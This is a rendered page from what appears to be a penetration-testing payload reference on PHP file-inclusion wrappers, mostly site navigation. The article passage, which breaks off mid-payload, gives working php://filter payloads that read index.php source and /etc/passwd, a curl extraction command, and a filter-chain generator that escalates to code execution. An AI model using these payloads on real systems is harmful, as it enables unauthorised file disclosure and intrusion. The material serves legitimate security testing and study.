<span class="md-ellipsis">
Server Side Include Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_48">
<span class="md-nav__icon md-icon"></span>
Server Side Include Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Include%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Include Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
<span class="md-ellipsis">
Server Side Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_49">
<span class="md-nav__icon md-icon"></span>
Server Side Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Server-Side Request Forgery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Request%20Forgery/SSRF-Advanced-Exploitation/" class="md-nav__link">
<span class="md-ellipsis">
SSRF Advanced Exploitation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances/" class="md-nav__link">
<span class="md-ellipsis">
SSRF URL for Cloud Instances
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
<span class="md-ellipsis">
Server Side Template Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_50">
<span class="md-nav__icon md-icon"></span>
Server Side Template Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/ASP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - ASP.NET
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/Java/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Java
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/JavaScript/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - JavaScript
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/PHP/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - PHP
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/Python/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Python
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../Server%20Side%20Template%20Injection/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection - Ruby
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
<span class="md-ellipsis">
Tabnabbing
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51">
<span class="md-nav__icon md-icon"></span>
Tabnabbing
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Tabnabbing/" class="md-nav__link">
<span class="md-ellipsis">
Tabnabbing
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
<span class="md-ellipsis">
Type Juggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52">
<span class="md-nav__icon md-icon"></span>
Type Juggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Type%20Juggling/" class="md-nav__link">
<span class="md-ellipsis">
Type Juggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
<span class="md-ellipsis">
Upload Insecure Files
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53">
<span class="md-nav__icon md-icon"></span>
Upload Insecure Files
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/" class="md-nav__link">
<span class="md-ellipsis">
Upload Insecure Files
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53_2" >
<label class="md-nav__link" for="__nav_53_2" id="__nav_53_2_label" tabindex="0">
<span class="md-ellipsis">
Configuration Apache .htaccess
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_53_2_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53_2">
<span class="md-nav__icon md-icon"></span>
Configuration Apache .htaccess
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
<span class="md-ellipsis">
.htaccess
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
<span class="md-ellipsis">
Web Cache Deception
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_54">
<span class="md-nav__icon md-icon"></span>
Web Cache Deception
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Web%20Cache%20Deception/" class="md-nav__link">
<span class="md-ellipsis">
Web Cache Deception
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
<span class="md-ellipsis">
Web Sockets
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_55">
<span class="md-nav__icon md-icon"></span>
Web Sockets
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Web%20Sockets/" class="md-nav__link">
<span class="md-ellipsis">
Web Sockets
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
<span class="md-ellipsis">
XPATH Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_56">
<span class="md-nav__icon md-icon"></span>
XPATH Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XPATH%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XPATH Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
<span class="md-ellipsis">
XSLT Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_57">
<span class="md-nav__icon md-icon"></span>
XSLT Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XSLT%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XSLT Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
<span class="md-ellipsis">
XSS Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_58">
<span class="md-nav__icon md-icon"></span>
XSS Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XSS%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross Site Scripting
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/1%20-%20XSS%20Filter%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
XSS Filter Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/2%20-%20XSS%20Polyglot/" class="md-nav__link">
<span class="md-ellipsis">
Polyglot XSS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/3%20-%20XSS%20Common%20WAF%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Common WAF Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/4%20-%20CSP%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
CSP Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../XSS%20Injection/5%20-%20XSS%20in%20Angular/" class="md-nav__link">
<span class="md-ellipsis">
XSS in Angular and AngularJS
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
<span class="md-ellipsis">
XXE Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_59">
<span class="md-nav__icon md-icon"></span>
XXE Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../XXE%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XML External Entity
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_60" >
<label class="md-nav__link" for="__nav_60" id="__nav_60_label" tabindex="0">
<span class="md-ellipsis">
Zip Slip
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_60_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_60">
<span class="md-nav__icon md-icon"></span>
Zip Slip
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../Zip%20Slip/" class="md-nav__link">
<span class="md-ellipsis">
Zip Slip
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_61" >
<label class="md-nav__link" for="__nav_61" id="__nav_61_label" tabindex="0">
<span class="md-ellipsis">
LEARNING AND SOCIALS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_61_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_61">
<span class="md-nav__icon md-icon"></span>
LEARNING AND SOCIALS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
<span class="md-ellipsis">
Books
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
<span class="md-ellipsis">
Twitter
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
<span class="md-ellipsis">
Youtube
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_62" >
<label class="md-nav__link" for="__nav_62" id="__nav_62_label" tabindex="0">
<span class="md-ellipsis">
template vuln
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_62_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_62">
<span class="md-nav__icon md-icon"></span>
template vuln
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../../_template_vuln/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Title
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</div>
</div>
</div>
<div class="md-sidebar md-sidebar--secondary" data-md-component="sidebar" data-md-type="toc" >
<div class="md-sidebar__scrollwrap">
<div class="md-sidebar__inner">
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#wrapper-phpfilter" class="md-nav__link">
<span class="md-ellipsis">
Wrapper php://filter
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#wrapper-data" class="md-nav__link">
<span class="md-ellipsis">
Wrapper data://
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#wrapper-expect" class="md-nav__link">
<span class="md-ellipsis">
Wrapper expect://
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#wrapper-input" class="md-nav__link">
<span class="md-ellipsis">
Wrapper input://
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#wrapper-zip" class="md-nav__link">
<span class="md-ellipsis">
Wrapper zip://
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#wrapper-phar" class="md-nav__link">
<span class="md-ellipsis">
Wrapper phar://
</span>
</a>
<nav class="md-nav" aria-label="Wrapper phar://">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#phar-archive-structure" class="md-nav__link">
<span class="md-ellipsis">
PHAR archive structure
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#phar-deserialization" class="md-nav__link">
<span class="md-ellipsis">
PHAR deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#wrapper-converticonv-and-dechunk" class="md-nav__link">
<span class="md-ellipsis">
Wrapper convert.iconv:// and dechunk://
</span>
</a>
<nav class="md-nav" aria-label="Wrapper convert.iconv:// and dechunk://">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#leak-file-content-from-error-based-oracle" class="md-nav__link">
<span class="md-ellipsis">
Leak file content from error-based oracle
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#leak-file-content-inside-a-custom-format-output" class="md-nav__link">
<span class="md-ellipsis">
Leak file content inside a custom format output
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</div>
</div>
</div>
<div class="md-content" data-md-component="content">
<article class="md-content__inner md-typeset">
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File Inclusion/Wrappers.md" title="Edit this page" class="md-content__button md-icon">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg>
</a>
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/File Inclusion/Wrappers.md" title="View source of this page" class="md-content__button md-icon">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M17 18c.56 0 1 .44 1 1s-.44 1-1 1-1-.44-1-1 .44-1 1-1m0-3c-2.73 0-5.06 1.66-6 4 .94 2.34 3.27 4 6 4s5.06-1.66 6-4c-.94-2.34-3.27-4-6-4m0 6.5a2.5 2.5 0 0 1-2.5-2.5 2.5 2.5 0 0 1 2.5-2.5 2.5 2.5 0 0 1 2.5 2.5 2.5 2.5 0 0 1-2.5 2.5M9.27 20H6V4h7v5h5v4.07c.7.08 1.36.25 2 .49V8l-6-6H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h4.5a8.2 8.2 0 0 1-1.23-2"/></svg>
</a>
<h1 id="inclusion-using-wrappers">Inclusion Using Wrappers</h1>
<p>A wrapper in the context of file inclusion vulnerabilities refers to the protocol or method used to access or include a file. Wrappers are often used in PHP or other server-side languages to extend how file inclusion functions, enabling the use of protocols like HTTP, FTP, and others in addition to the local filesystem.</p>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#wrapper-phpfilter">Wrapper php://filter</a></li>
<li><a href="#wrapper-data">Wrapper data://</a></li>
<li><a href="#wrapper-expect">Wrapper expect://</a></li>
<li><a href="#wrapper-input">Wrapper input://</a></li>
<li><a href="#wrapper-zip">Wrapper zip://</a></li>
<li><a href="#wrapper-phar">Wrapper phar://</a><ul>
<li><a href="#phar-archive-structure">PHAR Archive Structure</a></li>
<li><a href="#phar-deserialization">PHAR Deserialization</a></li>
</ul>
</li>
<li><a href="#wrapper-converticonv-and-dechunk">Wrapper convert.iconv:// and dechunk://</a></li>
<li><a href="#references">References</a></li>
</ul>
<h2 id="wrapper-phpfilter">Wrapper php://filter</h2>
<p>The part "<code>php://filter</code>" is case insensitive</p>
<table>
<thead>
<tr>
<th>Filter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>php://filter/read=string.rot13/resource=index.php</code></td>
<td>Display index.php as rot13</td>
</tr>
<tr>
<td><code>php://filter/convert.iconv.utf-8.utf-16/resource=index.php</code></td>
<td>Encode index.php from utf8 to utf16</td>
</tr>
<tr>
<td><code>php://filter/convert.base64-encode/resource=index.php</code></td>
<td>Display index.php as a base64 encoded string</td>
</tr>
</tbody>
</table>
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">php</span><span class="p">://</span><span class="k">filter</span><span class="p">/</span><span class="n">read</span><span class="p">=</span><span class="n">string</span><span class="p">.</span><span class="n">rot13</span><span class="p">/</span><span class="n">resource</span><span class="p">=</span><span class="n">index</span><span class="p">.</span><span class="n">php</span>
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">php</span><span class="p">://</span><span class="k">filter</span><span class="p">/</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">utf</span><span class="p">-</span><span class="n">8</span><span class="p">.</span><span class="n">utf</span><span class="p">-</span><span class="n">16</span><span class="p">/</span><span class="n">resource</span><span class="p">=</span><span class="n">index</span><span class="p">.</span><span class="n">php</span>
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">php</span><span class="p">://</span><span class="k">filter</span><span class="p">/</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">/</span><span class="n">resource</span><span class="p">=</span><span class="n">index</span><span class="p">.</span><span class="n">php</span>
<a id="__codelineno-0-4" name="__codelineno-0-4" href="#__codelineno-0-4"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">pHp</span><span class="p">://</span><span class="k">FilTer</span><span class="p">/</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">/</span><span class="n">resource</span><span class="p">=</span><span class="n">index</span><span class="p">.</span><span class="n">php</span>
</code></pre></div>
<p>Wrappers can be chained with a compression wrapper for large files.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="n">http</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">index</span><span class="p">.</span><span class="n">php</span><span class="k">?</span><span class="n">page</span><span class="p">=</span><span class="n">php</span><span class="p">://</span><span class="k">filter</span><span class="p">/</span><span class="n">zlib</span><span class="p">.</span><span class="n">deflate</span><span class="p">/</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">/</span><span class="n">resource</span><span class="p">=/</span><span class="n">etc</span><span class="p">/</span><span class="n">passwd</span>
</code></pre></div>
<p>NOTE: Wrappers can be chained multiple times using <code>|</code> or <code>/</code>:</p>
<ul>
<li>Multiple base64 decodes: <code>php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s</code></li>
<li>deflate then <code>base64encode</code> (useful for limited character exfil): <code>php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php</code></li>
</ul>
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a><span class="p">./</span><span class="n">kadimus</span> <span class="n">-u</span> <span class="s2">&quot;http://example.com/index.php?page=vuln&quot;</span> <span class="n">-S</span> <span class="o">-f</span> <span class="s2">&quot;index.php%00&quot;</span> <span class="n">-O</span> <span class="n">index</span><span class="p">.</span><span class="n">php</span> <span class="p">-</span><span class="n">-parameter</span> <span class="n">page</span>
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a><span class="nb">curl </span><span class="s2">&quot;http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php&quot;</span> <span class="p">|</span> <span class="n">base64</span> <span class="n">-d</span> <span class="p">&gt;</span> <span class="n">index</span><span class="p">.</span><span class="n">php</span>
</code></pre></div>
<p>Also there is a way to turn the <code>php://filter</code> into a full RCE. </p>
<ul>
<li>
<p><a href="https://github.com/synacktiv/php_filter_chain_generator">synacktiv/php_filter_chain_generator</a> - A CLI to generate PHP filters chain
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="p">$</span> <span class="n">python3</span> <span class="n">php_filter_chain_generator</span><span class="p">.</span><span class="n">py</span> <span class="p">-</span><span class="n">-chain</span> <span class="s1">&#39;&lt;?php phpinfo();?&gt;&#39;</span>
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="p">[+]</span> <span class="n">The</span> <span class="n">following</span> <span class="n">gadget</span> <span class="n">chain</span> <span class="n">will</span> <span class="n">generate</span> <span class="n">the</span> <span class="n">following</span> <span class="n">code</span> <span class="p">:</span> <span class="p">&lt;</span><span class="k">?</span><span class="n">php</span> <span class="n">phpinfo</span><span class="p">();?&gt;</span> <span class="p">(</span><span class="n">base64</span> <span class="n">value</span><span class="p">:</span> <span class="n">PD9waHAgcGhwaW5mbygpOz8</span><span class="p">+)</span>
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a><span class="n">php</span><span class="p">://</span><span class="k">filter</span><span class="p">/</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">CSISO2022KR</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UCS</span><span class="p">-</span><span class="n">2</span><span class="p">.</span><span class="n">UTF8</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L6</span><span class="p">.</span><span class="n">UTF8</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L4</span><span class="p">.</span><span class="n">UCS2</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">ISO2022KR</span><span class="p">.</span><span class="n">UTF16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">L6</span><span class="p">.</span><span class="n">UCS2</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">865</span><span class="p">.</span><span class="n">UTF16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CP901</span><span class="p">.</span><span class="n">ISO6937</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSA_T500</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">32</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CP857</span><span class="p">.</span><span class="n">ISO</span><span class="p">-</span><span class="n">2022-JP</span><span class="p">-</span><span class="n">3</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">ISO2022JP2</span><span class="p">.</span><span class="n">CP775</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">IBM891</span><span class="p">.</span><span class="n">CSUNICODE</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">ISO8859</span><span class="p">-</span><span class="n">14</span><span class="p">.</span><span class="n">ISO6937</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">BIG-FIVE</span><span class="p">.</span><span class="n">UCS</span><span class="p">-</span><span class="n">4</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-decode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">base64-encode</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">UTF8</span><span class="p">.</span><span class="n">UTF7</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">SE2</span><span class="p">.</span><span class="n">UTF</span><span class="p">-</span><span class="n">16</span><span class="p">|</span><span class="n">convert</span><span class="p">.</span><span class="n">iconv</span><span class="p">.</span><span class="n">CSIBM921</span><span 